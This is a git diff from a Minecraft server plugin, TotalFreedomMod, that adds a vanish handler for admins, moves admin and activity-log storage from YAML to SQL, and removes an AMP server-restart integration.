pbl = new PVPBlocker();
fo = new Fuckoff();
ak = new AutoKick();
ae = new AutoEject();
mo = new Monitors();
}
private void initBridges()
{
// Start bridges
btb = new BukkitTelnetBridge();
cpb = new CoreProtectBridge();
esb = new EssentialsBridge();
ldb = new LibsDisguisesBridge();
tfg = new TFGuildsBridge();
web = new WorldEditBridge();
wgb = new WorldGuardBridge();
}
private void initFun()
{
// Fun
it = new ItemFun();
lm = new Landminer();
mp = new MP44();
jp = new Jumppads();
tr = new Trailer();
}
private void initHTTPD()
{
// HTTPD
hd = new HTTPDaemon();
}
} }
} }

View File

@ -0,0 +1,83 @@
package me.totalfreedom.totalfreedommod;
import me.totalfreedom.totalfreedommod.util.FLog;
import net.md_5.bungee.api.ChatMessageType;
import net.md_5.bungee.api.chat.TextComponent;
import org.bukkit.ChatColor;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerQuitEvent;
import org.bukkit.scheduler.BukkitRunnable;
public class VanishHandler extends FreedomService
{
@Override
public void onStart()
{
}
@Override
public void onStop()
{
}
@EventHandler(priority = EventPriority.HIGH)
public void onPlayerJoin(PlayerJoinEvent event)
{
Player player = event.getPlayer();
for (Player p : server.getOnlinePlayers())
{
if (!plugin.al.isAdmin(player) && plugin.al.isVanished(p.getName()))
{
player.hidePlayer(plugin, p);
}
}
for (Player p : server.getOnlinePlayers())
{
if (!plugin.al.isAdmin(p) && plugin.al.isVanished(player.getName()))
{
p.hidePlayer(plugin, player);
}
}
if (plugin.al.isVanished(player.getName()))
{
plugin.esb.setVanished(player.getName(), true);
FLog.info(player.getName() + " joined while still vanished.");
plugin.al.messageAllAdmins(ChatColor.YELLOW + player.getName() + " has joined silently.");
event.setJoinMessage(null);
new BukkitRunnable()
{
@Override
public void run()
{
if (!plugin.al.isVanished(player.getName()))
{
this.cancel();
}
player.spigot().sendMessage(ChatMessageType.ACTION_BAR, TextComponent.fromLegacyText(ChatColor.GOLD + "You are hidden from other players."));
}
}.runTaskTimer(plugin, 0L, 4L);
}
}
@EventHandler
public void onPlayerLeave(PlayerQuitEvent event)
{
Player player = event.getPlayer();
if (plugin.al.isVanished(player.getName()))
{
event.setQuitMessage(null);
FLog.info(player.getName() + " left while still vanished.");
plugin.al.messageAllAdmins(ChatColor.YELLOW + player.getName() + " has left silently.");
}
}
}

View File

@ -2,12 +2,10 @@ package me.totalfreedom.totalfreedommod.admin;
import com.google.common.collect.Maps; import com.google.common.collect.Maps;
import java.util.Map; import java.util.Map;
import lombok.Getter;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod; import me.totalfreedom.totalfreedommod.config.YamlConfig;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import net.pravian.aero.config.YamlConfig; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.util.Ips;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.configuration.ConfigurationSection; import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@ -21,28 +19,30 @@ public class ActivityLog extends FreedomService
public static final String FILENAME = "activitylog.yml"; public static final String FILENAME = "activitylog.yml";
@Getter
private final Map<String, ActivityLogEntry> allActivityLogs = Maps.newHashMap(); private final Map<String, ActivityLogEntry> allActivityLogs = Maps.newHashMap();
private final Map<String, ActivityLogEntry> nameTable = Maps.newHashMap(); private final Map<String, ActivityLogEntry> nameTable = Maps.newHashMap();
private final Map<String, ActivityLogEntry> ipTable = Maps.newHashMap(); private final Map<String, ActivityLogEntry> ipTable = Maps.newHashMap();
private final YamlConfig config; private final YamlConfig config;
public ActivityLog(TotalFreedomMod plugin) public ActivityLog()
{ {
super(plugin);
this.config = new YamlConfig(plugin, FILENAME, true); this.config = new YamlConfig(plugin, FILENAME, true);
} }
public static String getFILENAME()
{
return FILENAME;
}
@Override @Override
protected void onStart() public void onStart()
{ {
load(); load();
} }
@Override @Override
protected void onStop() public void onStop()
{ {
save(); save();
} }
@ -59,7 +59,7 @@ public class ActivityLog extends FreedomService
ConfigurationSection section = config.getConfigurationSection(key); ConfigurationSection section = config.getConfigurationSection(key);
if (section == null) if (section == null)
{ {
logger.warning("Invalid activity log format: " + key); FLog.warning("Invalid activity log format: " + key);
continue; continue;
} }
@ -110,14 +110,14 @@ public class ActivityLog extends FreedomService
ActivityLogEntry activityLog = getEntryByName(player.getName()); ActivityLogEntry activityLog = getEntryByName(player.getName());
if (activityLog == null) if (activityLog == null)
{ {
String ip = Ips.getIp(player); String ip = FUtil.getIp(player);
activityLog = getEntryByIp(ip); activityLog = getEntryByIp(ip);
if (activityLog != null) if (activityLog != null)
{ {
// Set the new username // Set the new username
activityLog.setName(player.getName()); activityLog.setName(player.getName());
save(); save();
updateTables(); updateTables();
} }
else else
{ {
@ -129,7 +129,7 @@ public class ActivityLog extends FreedomService
config.save(); config.save();
} }
} }
String ip = Ips.getIp(player); String ip = FUtil.getIp(player);
if (!activityLog.getIps().contains(ip)) if (!activityLog.getIps().contains(ip))
{ {
activityLog.addIp(ip); activityLog.addIp(ip);
@ -189,4 +189,24 @@ public class ActivityLog extends FreedomService
plugin.acl.updateTables(); plugin.acl.updateTables();
} }
} }
}
public Map<String, ActivityLogEntry> getAllActivityLogs()
{
return allActivityLogs;
}
public Map<String, ActivityLogEntry> getNameTable()
{
return nameTable;
}
public Map<String, ActivityLogEntry> getIpTable()
{
return ipTable;
}
public YamlConfig getConfig()
{
return config;
}
}

View File

@ -4,34 +4,21 @@ import com.google.common.collect.Lists;
import java.time.Instant; import java.time.Instant;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import lombok.Getter; import me.totalfreedom.totalfreedommod.config.IConfig;
import lombok.Setter;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.base.ConfigLoadable;
import net.pravian.aero.base.ConfigSavable;
import net.pravian.aero.base.Validatable;
import org.apache.commons.lang.Validate; import org.apache.commons.lang.Validate;
import org.bukkit.configuration.ConfigurationSection; import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validatable public class ActivityLogEntry implements IConfig
{ {
@Getter
private String configKey;
@Getter
@Setter
private String name;
@Getter
private final List<String> ips = Lists.newArrayList();
@Getter
@Setter
private List<String> timestamps = Lists.newArrayList();
@Getter
@Setter
private List<String> durations = Lists.newArrayList();
public static final String FILENAME = "activitylog.yml"; public static final String FILENAME = "activitylog.yml";
private final List<String> ips = Lists.newArrayList();
private final List<String> timestamps = Lists.newArrayList();
private final List<String> durations = Lists.newArrayList();
private String configKey;
private String name;
public ActivityLogEntry(Player player) public ActivityLogEntry(Player player)
{ {
@ -44,6 +31,11 @@ public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validata
this.configKey = configKey; this.configKey = configKey;
} }
public static String getFILENAME()
{
return FILENAME;
}
public void loadFrom(Player player) public void loadFrom(Player player)
{ {
configKey = player.getName().toLowerCase(); configKey = player.getName().toLowerCase();
@ -77,9 +69,18 @@ public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validata
Date currentTime = Date.from(Instant.now()); Date currentTime = Date.from(Instant.now());
timestamps.add("Login: " + FUtil.dateToString(currentTime)); timestamps.add("Login: " + FUtil.dateToString(currentTime));
} }
public void addLogout() public void addLogout()
{ {
String lastLoginString = timestamps.get(timestamps.size() - 1); // Fix of Array index out of bonds issue: FS-131
String lastLoginString;
if(timestamps.size() > 1)
{
lastLoginString = timestamps.get(timestamps.size() - 1);
}else
{
lastLoginString = timestamps.get(0);
}
Date currentTime = Date.from(Instant.now()); Date currentTime = Date.from(Instant.now());
timestamps.add("Logout: " + FUtil.dateToString(currentTime)); timestamps.add("Logout: " + FUtil.dateToString(currentTime));
lastLoginString = lastLoginString.replace("Login: ", ""); lastLoginString = lastLoginString.replace("Login: ", "");
@ -110,10 +111,7 @@ public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validata
public void removeIp(String ip) public void removeIp(String ip)
{ {
if (ips.contains(ip)) ips.remove(ip);
{
ips.remove(ip);
}
} }
public void clearIPs() public void clearIPs()
@ -121,10 +119,58 @@ public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validata
ips.clear(); ips.clear();
} }
public int getTotalSecondsPlayed()
{
int result = 0;
for (String duration : durations)
{
String[] spl = duration.split(" ");
result += Integer.parseInt(spl[0]) * 60 * 60;
result += Integer.parseInt(spl[2]) * 60;
result += Integer.parseInt(spl[5]);
}
return result;
}
@Override @Override
public boolean isValid() public boolean isValid()
{ {
return configKey != null return configKey != null
&& name != null; && name != null;
} }
public String getConfigKey()
{
return configKey;
}
public void setConfigKey(String configKey)
{
this.configKey = configKey;
}
public String getName()
{
return name;
}
public void setName(String name)
{
this.name = name;
}
public List<String> getIps()
{
return ips;
}
public List<String> getTimestamps()
{
return timestamps;
}
public List<String> getDurations()
{
return durations;
}
} }

View File

@ -1,81 +1,60 @@
package me.totalfreedom.totalfreedommod.admin; package me.totalfreedom.totalfreedommod.admin;
import com.google.common.collect.Lists; import java.sql.ResultSet;
import java.util.Collections; import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Date; import java.util.Date;
import java.util.HashMap;
import java.util.List; import java.util.List;
import lombok.Getter; import java.util.Map;
import lombok.Setter;
import me.totalfreedom.totalfreedommod.LogViewer.LogsRegistrationMode; import me.totalfreedom.totalfreedommod.LogViewer.LogsRegistrationMode;
import me.totalfreedom.totalfreedommod.TotalFreedomMod; import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.rank.Rank; import me.totalfreedom.totalfreedommod.rank.Rank;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.base.ConfigLoadable;
import net.pravian.aero.base.ConfigSavable;
import net.pravian.aero.base.Validatable;
import net.pravian.aero.util.Ips;
import org.apache.commons.lang.StringUtils; import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.Validate; import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
public class Admin implements ConfigLoadable, ConfigSavable, Validatable public class Admin
{ {
@Getter
private String configKey;
@Getter
@Setter
private String name;
@Getter
private boolean active = true;
@Getter
@Setter
private Rank rank = Rank.SUPER_ADMIN;
@Getter
private final List<String> ips = Lists.newArrayList();
private final List<String> backupCodes = Lists.newArrayList();
@Getter
@Setter
private Date lastLogin = new Date();
@Getter
@Setter
private String loginMessage = null;
@Getter
@Setter
private String discordID = null;
@Getter
@Setter
private String tag = null;
@Getter
@Setter
private Boolean commandSpy = false;
@Getter
@Setter
private Boolean potionSpy = false;
@Getter
@Setter
private String acFormat = null;
@Getter
@Setter
private Boolean oldTags = false;
@Getter
@Setter
private Boolean logStick = false;
public static final String CONFIG_FILENAME = "admins.yml"; private final List<String> ips = new ArrayList<>();
private String name;
private boolean active = true;
private Rank rank = Rank.ADMIN;
private Date lastLogin = new Date();
private Boolean commandSpy = false;
private Boolean potionSpy = false;
private String acFormat = null;
private String pteroID = null;
public Admin(Player player) public Admin(Player player)
{ {
this.configKey = player.getName().toLowerCase();
this.name = player.getName(); this.name = player.getName();
this.ips.add(Ips.getIp(player)); this.ips.add(FUtil.getIp(player));
} }
public Admin(String configKey) public Admin(ResultSet resultSet)
{ {
this.configKey = configKey; try
{
this.name = resultSet.getString("username");
this.active = resultSet.getBoolean("active");
this.rank = Rank.findRank(resultSet.getString("rank"));
this.ips.clear();
this.ips.addAll(FUtil.stringToList(resultSet.getString("ips")));
this.lastLogin = new Date(resultSet.getLong("last_login"));
this.commandSpy = resultSet.getBoolean("command_spy");
this.potionSpy = resultSet.getBoolean("potion_spy");
this.acFormat = resultSet.getString("ac_format");
this.pteroID = resultSet.getString("ptero_id");
}
catch (SQLException e)
{
FLog.severe("Failed to load admin: " + e.getMessage());
}
} }
@Override @Override
@ -86,77 +65,30 @@ public class Admin implements ConfigLoadable, ConfigSavable, Validatable
output.append("Admin: ").append(name).append("\n") output.append("Admin: ").append(name).append("\n")
.append("- IPs: ").append(StringUtils.join(ips, ", ")).append("\n") .append("- IPs: ").append(StringUtils.join(ips, ", ")).append("\n")
.append("- Last Login: ").append(FUtil.dateToString(lastLogin)).append("\n") .append("- Last Login: ").append(FUtil.dateToString(lastLogin)).append("\n")
.append("- Custom Login Message: ").append(loginMessage).append("\n")
.append("- Rank: ").append(rank.getName()).append("\n") .append("- Rank: ").append(rank.getName()).append("\n")
.append("- Is Active: ").append(active).append("\n") .append("- Is Active: ").append(active).append("\n")
.append("- Discord ID: ").append(discordID).append("\n")
.append("- Tag: ").append(tag).append("\n").append(ChatColor.GRAY)
.append("- Potion Spy: ").append(potionSpy).append("\n") .append("- Potion Spy: ").append(potionSpy).append("\n")
.append("- Admin Chat Format: ").append(acFormat).append("\n") .append("- Admin Chat Format: ").append(acFormat).append("\n")
.append("- Old Tags: ").append(oldTags).append("\n") .append("- Pterodactyl ID: ").append(pteroID).append("\n");
.append("- Log Stick: ").append(logStick)
.append("- Backup Codes: ").append(backupCodes.size()).append("/10").append("\n");
return output.toString(); return output.toString();
} }
public void loadFrom(Player player) public Map<String, Object> toSQLStorable()
{ {
configKey = player.getName().toLowerCase(); Map<String, Object> map = new HashMap<String, Object>()
name = player.getName(); {{
ips.clear(); put("username", name);
ips.add(Ips.getIp(player)); put("active", active);
} put("rank", rank.toString());
put("ips", FUtil.listToString(ips));
@Override put("last_login", lastLogin.getTime());
public void loadFrom(ConfigurationSection cs) put("command_spy", commandSpy);
{ put("potion_spy", potionSpy);
name = cs.getString("username", configKey); put("ac_format", acFormat);
active = cs.getBoolean("active", true); put("ptero_id", pteroID);
rank = Rank.findRank(cs.getString("rank")); }};
ips.clear(); return map;
ips.addAll(cs.getStringList("ips"));
backupCodes.clear();
backupCodes.addAll(cs.getStringList("backupCodes"));
lastLogin = FUtil.stringToDate(cs.getString("last_login"));
loginMessage = cs.getString("login_message", null);
discordID = cs.getString("discord_id", null);
tag = cs.getString("tag", null);
commandSpy = cs.getBoolean("command_spy", false);
potionSpy = cs.getBoolean("potion_spy", false);
acFormat = cs.getString("acformat", null);
oldTags = cs.getBoolean("oldtags", false);
logStick = cs.getBoolean("logstick", false);
}
@Override
public void saveTo(ConfigurationSection cs)
{
Validate.isTrue(isValid(), "Could not save admin entry: " + name + ". Entry not valid!");
cs.set("username", name);
cs.set("active", active);
cs.set("rank", rank.toString());
cs.set("ips", Lists.newArrayList(ips));
cs.set("backupCodes", Lists.newArrayList(backupCodes));
cs.set("last_login", FUtil.dateToString(lastLogin));
cs.set("login_message", loginMessage);
cs.set("discord_id", discordID);
cs.set("tag", tag);
cs.set("command_spy", commandSpy);
cs.set("potion_spy", potionSpy);
cs.set("acformat", acFormat);
cs.set("oldtags", oldTags);
cs.set("logstick", logStick);
}
public boolean isAtLeast(Rank pRank)
{
return rank.isAtLeast(pRank);
}
public boolean hasLoginMessage()
{
return loginMessage != null && !loginMessage.isEmpty();
} }
// Util IP methods // Util IP methods
@ -178,10 +110,7 @@ public class Admin implements ConfigLoadable, ConfigSavable, Validatable
public void removeIp(String ip) public void removeIp(String ip)
{ {
if (ips.contains(ip)) ips.remove(ip);
{
ips.remove(ip);
}
} }
public void clearIPs() public void clearIPs()
@ -189,31 +118,45 @@ public class Admin implements ConfigLoadable, ConfigSavable, Validatable
ips.clear(); ips.clear();
} }
public List<String> getBackupCodes() public boolean isValid()
{ {
return Collections.unmodifiableList(backupCodes); return name != null
&& rank != null
&& !ips.isEmpty()
&& lastLogin != null;
} }
public void setBackupCodes(List<String> codes) public String getName()
{ {
backupCodes.clear(); return name;
backupCodes.addAll(codes);
} }
public void removeBackupCode(String code) public void setName(String name)
{ {
backupCodes.remove(code); this.name = name;
}
public boolean isActive()
{
return active;
} }
public void setActive(boolean active) public void setActive(boolean active)
{ {
this.active = active; this.active = active;
final TotalFreedomMod plugin = TotalFreedomMod.plugin(); final TotalFreedomMod plugin = TotalFreedomMod.getPlugin();
// Avoiding stupid NPE compiler warnings
if (plugin == null)
{
Bukkit.getLogger().severe("The plugin is null!! This is a major issue and WILL break the plugin!");
return;
}
if (!active) if (!active)
{ {
if (getRank().isAtLeast(Rank.TELNET_ADMIN)) if (getRank().isAtLeast(Rank.ADMIN))
{ {
if (plugin.btb != null) if (plugin.btb != null)
{ {
@ -225,13 +168,68 @@ public class Admin implements ConfigLoadable, ConfigSavable, Validatable
} }
} }
@Override public Rank getRank()
public boolean isValid()
{ {
return configKey != null return rank;
&& name != null
&& rank != null
&& !ips.isEmpty()
&& lastLogin != null;
} }
}
public void setRank(Rank rank)
{
this.rank = rank;
}
public List<String> getIps()
{
return ips;
}
public Date getLastLogin()
{
return lastLogin;
}
public void setLastLogin(Date lastLogin)
{
this.lastLogin = lastLogin;
}
public Boolean getCommandSpy()
{
return commandSpy;
}
public void setCommandSpy(Boolean commandSpy)
{
this.commandSpy = commandSpy;
}
public Boolean getPotionSpy()
{
return potionSpy;
}
public void setPotionSpy(Boolean potionSpy)
{
this.potionSpy = potionSpy;
}
public String getAcFormat()
{
return acFormat;
}
public void setAcFormat(String acFormat)
{
this.acFormat = acFormat;
}
public String getPteroID()
{
return pteroID;
}
public void setPteroID(String pteroID)
{
this.pteroID = pteroID;
}
}

View File

@ -1,123 +1,74 @@
package me.totalfreedom.totalfreedommod.admin; package me.totalfreedom.totalfreedommod.admin;
import com.google.common.base.Function;
import com.google.common.collect.Maps; import com.google.common.collect.Maps;
import com.google.common.collect.Sets; import com.google.common.collect.Sets;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
import lombok.Getter;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.rank.Rank; import me.totalfreedom.totalfreedommod.rank.Rank;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.config.YamlConfig;
import net.pravian.aero.util.Ips;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.configuration.ConfigurationSection;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.plugin.ServicePriority;
public class AdminList extends FreedomService public class AdminList extends FreedomService
{ {
public static final List<String> vanished = new ArrayList<>();
public static final String CONFIG_FILENAME = "admins.yml"; public final Map<String, List<String>> verifiedNoAdmin = Maps.newHashMap();
private final Set<Admin> allAdmins = Sets.newHashSet(); // Includes disabled admins
@Getter
private final Map<String, Admin> allAdmins = Maps.newHashMap(); // Includes disabled admins
// Only active admins below // Only active admins below
@Getter
private final Set<Admin> activeAdmins = Sets.newHashSet(); private final Set<Admin> activeAdmins = Sets.newHashSet();
private final Map<String, Admin> nameTable = Maps.newHashMap(); private final Map<String, Admin> nameTable = Maps.newHashMap();
private final Map<String, Admin> ipTable = Maps.newHashMap(); private final Map<String, Admin> ipTable = Maps.newHashMap();
public final List<String> verifiedNoAdmins = new ArrayList<>();
public final Map<String, List<String>> verifiedNoAdminIps = Maps.newHashMap();
public static ArrayList<Player> vanished = new ArrayList<>();
//
private final YamlConfig config;
public AdminList(TotalFreedomMod plugin) public static List<String> getVanished()
{ {
super(plugin); return vanished;
this.config = new YamlConfig(plugin, CONFIG_FILENAME, true);
} }
@Override @Override
protected void onStart() public void onStart()
{ {
load(); load();
server.getServicesManager().register(Function.class, new Function<Player, Boolean>()
{
@Override
public Boolean apply(Player player)
{
return isAdmin(player);
}
}, plugin, ServicePriority.Normal);
deactivateOldEntries(false); deactivateOldEntries(false);
} }
@Override @Override
protected void onStop() public void onStop()
{ {
save();
} }
public void load() public void load()
{ {
config.load();
allAdmins.clear(); allAdmins.clear();
for (String key : config.getKeys(false)) try
{ {
ConfigurationSection section = config.getConfigurationSection(key); ResultSet adminSet = plugin.sql.getAdminList();
if (section == null)
{ {
logger.warning("Invalid admin list format: " + key); while (adminSet.next())
continue; {
Admin admin = new Admin(adminSet);
allAdmins.add(admin);
}
} }
}
Admin admin = new Admin(key); catch (SQLException e)
admin.loadFrom(section); {
FLog.severe("Failed to load admin list: " + e.getMessage());
if (!admin.isValid())
{
FLog.warning("Could not load admin: " + key + ". Missing details!");
continue;
}
allAdmins.put(key, admin);
} }
updateTables(); updateTables();
FLog.info("Loaded " + allAdmins.size() + " admins (" + nameTable.size() + " active, " + ipTable.size() + " IPs)"); FLog.info("Loaded " + allAdmins.size() + " admins (" + nameTable.size() + " active, " + ipTable.size() + " IPs)");
} }
public void save()
{
// Clear the config
for (String key : config.getKeys(false))
{
config.set(key, null);
}
for (Admin admin : allAdmins.values())
{
admin.saveTo(config.createSection(admin.getConfigKey()));
}
config.save();
}
public void messageAllAdmins(String message) public void messageAllAdmins(String message)
{ {
for (Player player : server.getOnlinePlayers()) for (Player player : server.getOnlinePlayers())
@ -129,6 +80,18 @@ public class AdminList extends FreedomService
} }
} }
public void potionSpyMessage(String message)
{
for (Player player : server.getOnlinePlayers())
{
Admin admin = getAdmin(player.getPlayer());
if (isAdmin(player) && admin.getPotionSpy())
{
player.sendMessage(message);
}
}
}
public synchronized boolean isAdminSync(CommandSender sender) public synchronized boolean isAdminSync(CommandSender sender)
{ {
return isAdmin(sender); return isAdmin(sender);
@ -156,6 +119,18 @@ public class AdminList extends FreedomService
return admin != null && admin.isActive(); return admin != null && admin.isActive();
} }
public boolean isAdmin(Player player)
{
if (player == null)
{
return true;
}
Admin admin = getAdmin(player);
return admin != null && admin.isActive();
}
public boolean isSeniorAdmin(CommandSender sender) public boolean isSeniorAdmin(CommandSender sender)
{ {
Admin admin = getAdmin(sender); Admin admin = getAdmin(sender);
@ -180,7 +155,7 @@ public class AdminList extends FreedomService
public Admin getAdmin(Player player) public Admin getAdmin(Player player)
{ {
// Find admin // Find admin
String ip = Ips.getIp(player); String ip = FUtil.getIp(player);
Admin admin = getEntryByName(player.getName()); Admin admin = getEntryByName(player.getName());
// Admin by name // Admin by name
@ -194,7 +169,7 @@ public class AdminList extends FreedomService
{ {
// Add the new IP if we have to // Add the new IP if we have to
admin.addIp(ip); admin.addIp(ip);
save(); save(admin);
updateTables(); updateTables();
} }
return admin; return admin;
@ -206,8 +181,9 @@ public class AdminList extends FreedomService
if (admin != null) if (admin != null)
{ {
// Set the new username // Set the new username
String oldName = admin.getName();
admin.setName(player.getName()); admin.setName(player.getName());
save(); plugin.sql.updateAdminName(oldName, admin.getName());
updateTables(); updateTables();
} }
@ -253,7 +229,7 @@ public class AdminList extends FreedomService
admin.setLastLogin(new Date()); admin.setLastLogin(new Date());
admin.setName(player.getName()); admin.setName(player.getName());
save(); save(admin);
} }
public boolean isAdminImpostor(Player player) public boolean isAdminImpostor(Player player)
@ -263,7 +239,7 @@ public class AdminList extends FreedomService
public boolean isVerifiedAdmin(Player player) public boolean isVerifiedAdmin(Player player)
{ {
return verifiedNoAdmins.contains(player.getName()) && verifiedNoAdminIps.get(player.getName()).contains(Ips.getIp(player)); return verifiedNoAdmin.containsKey(player.getName()) && verifiedNoAdmin.get(player.getName()).contains(FUtil.getIp(player));
} }
public boolean isIdentityMatched(Player player) public boolean isIdentityMatched(Player player)
@ -274,33 +250,30 @@ public class AdminList extends FreedomService
} }
Admin admin = getAdmin(player); Admin admin = getAdmin(player);
return admin == null ? false : admin.getName().equalsIgnoreCase(player.getName()); return admin != null && admin.getName().equalsIgnoreCase(player.getName());
} }
public boolean addAdmin(Admin admin) public boolean addAdmin(Admin admin)
{ {
if (!admin.isValid()) if (!admin.isValid())
{ {
logger.warning("Could not add admin: " + admin.getConfigKey() + " Admin is missing details!"); FLog.warning("Could not add admin: " + admin.getName() + ". Admin is missing details!");
return false; return false;
} }
final String key = admin.getConfigKey();
// Store admin, update views // Store admin, update views
allAdmins.put(key, admin); allAdmins.add(admin);
updateTables(); updateTables();
// Save admin // Save admin
admin.saveTo(config.createSection(key)); plugin.sql.addAdmin(admin);
config.save();
return true; return true;
} }
public boolean removeAdmin(Admin admin) public boolean removeAdmin(Admin admin)
{ {
if (admin.getRank().isAtLeast(Rank.TELNET_ADMIN)) if (admin.getRank().isAtLeast(Rank.ADMIN))
{ {
if (plugin.btb != null) if (plugin.btb != null)
{ {
@ -309,15 +282,14 @@ public class AdminList extends FreedomService
} }
// Remove admin, update views // Remove admin, update views
if (allAdmins.remove(admin.getConfigKey()) == null) if (!allAdmins.remove(admin))
{ {
return false; return false;
} }
updateTables(); updateTables();
// 'Unsave' admin // Unsave admin
config.set(admin.getConfigKey(), null); plugin.sql.removeAdmin(admin);
config.save();
return true; return true;
} }
@ -328,7 +300,7 @@ public class AdminList extends FreedomService
nameTable.clear(); nameTable.clear();
ipTable.clear(); ipTable.clear();
for (Admin admin : allAdmins.values()) for (Admin admin : allAdmins)
{ {
if (!admin.isActive()) if (!admin.isActive())
{ {
@ -344,8 +316,6 @@ public class AdminList extends FreedomService
} }
} }
plugin.wm.adminworld.wipeAccessCache();
} }
public Set<String> getAdminNames() public Set<String> getAdminNames()
@ -358,9 +328,29 @@ public class AdminList extends FreedomService
return ipTable.keySet(); return ipTable.keySet();
} }
public void save(Admin admin)
{
try
{
ResultSet currentSave = plugin.sql.getAdminByName(admin.getName());
for (Map.Entry<String, Object> entry : admin.toSQLStorable().entrySet())
{
Object storedValue = plugin.sql.getValue(currentSave, entry.getKey(), entry.getValue());
if (storedValue != null && !storedValue.equals(entry.getValue()) || storedValue == null && entry.getValue() != null || entry.getValue() == null)
{
plugin.sql.setAdminValue(admin, entry.getKey(), entry.getValue());
}
}
}
catch (SQLException e)
{
FLog.severe("Failed to save admin: " + e.getMessage());
}
}
public void deactivateOldEntries(boolean verbose) public void deactivateOldEntries(boolean verbose)
{ {
for (Admin admin : allAdmins.values()) for (Admin admin : allAdmins)
{ {
if (!admin.isActive() || admin.getRank().isAtLeast(Rank.SENIOR_ADMIN)) if (!admin.isActive() || admin.getRank().isAtLeast(Rank.SENIOR_ADMIN))
{ {
@ -381,9 +371,39 @@ public class AdminList extends FreedomService
} }
admin.setActive(false); admin.setActive(false);
save(admin);
} }
save();
updateTables(); updateTables();
} }
}
public boolean isVanished(String player)
{
return vanished.contains(player);
}
public Set<Admin> getAllAdmins()
{
return allAdmins;
}
public Set<Admin> getActiveAdmins()
{
return activeAdmins;
}
public Map<String, Admin> getNameTable()
{
return nameTable;
}
public Map<String, Admin> getIpTable()
{
return ipTable;
}
public Map<String, List<String>> getVerifiedNoAdmin()
{
return verifiedNoAdmin;
}
}

View File

@ -1,48 +0,0 @@
package me.totalfreedom.totalfreedommod.amp;
import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
public class AMP extends FreedomService
{
public AMPManager ampManager;
public Boolean enabled = false;
public AMP(TotalFreedomMod plugin)
{
super(plugin);
}
@Override
protected void onStart()
{
if (!plugin.config.getBoolean(ConfigEntry.AMP_ENABLED))
{
return;
}
ampManager = new AMPManager(plugin, plugin.config.getString(ConfigEntry.AMP_URL), plugin.config.getString(ConfigEntry.AMP_USERNAME), plugin.config.getString(ConfigEntry.AMP_PASSWORD));
LoginCallback callback = new LoginCallback()
{
@Override
public void loginDone(boolean success)
{
enabled = success;
}
};
ampManager.connectAsync(callback);
}
public void restartServer()
{
ampManager.restartAsync();
}
@Override
protected void onStop()
{
}
}

View File

@ -1,28 +0,0 @@
package me.totalfreedom.totalfreedommod.amp;
public enum AMPEndpoints
{
LOGIN("/API/Core/Login", "{username:\"%s\", password:\"%s\", token:\"\", rememberMe:false}"),
RESTART("/API/Core/Restart", "{SESSIONID:\"%s\"}");
private final String text;
private final String parameters;
AMPEndpoints(String text, String parameters)
{
this.text = text;
this.parameters = parameters;
}
@Override
public String toString()
{
return text;
}
public String getParameters()
{
return parameters;
}
}

View File

@ -1,171 +0,0 @@
package me.totalfreedom.totalfreedommod.amp;
import com.google.gson.Gson;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import javax.net.ssl.HttpsURLConnection;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.util.FLog;
import org.bukkit.scheduler.BukkitRunnable;
public class AMPManager
{
private TotalFreedomMod plugin;
private String url, username, password;
private String sessionID;
public AMPManager(TotalFreedomMod plugin, String url, String username, String password)
{
this.plugin = plugin;
this.url = url;
this.username = username;
this.password = password;
}
public void connectAsync(final LoginCallback callback)
{
new BukkitRunnable()
{
@Override
public void run()
{
String apiEndpoint = url + AMPEndpoints.LOGIN.toString();
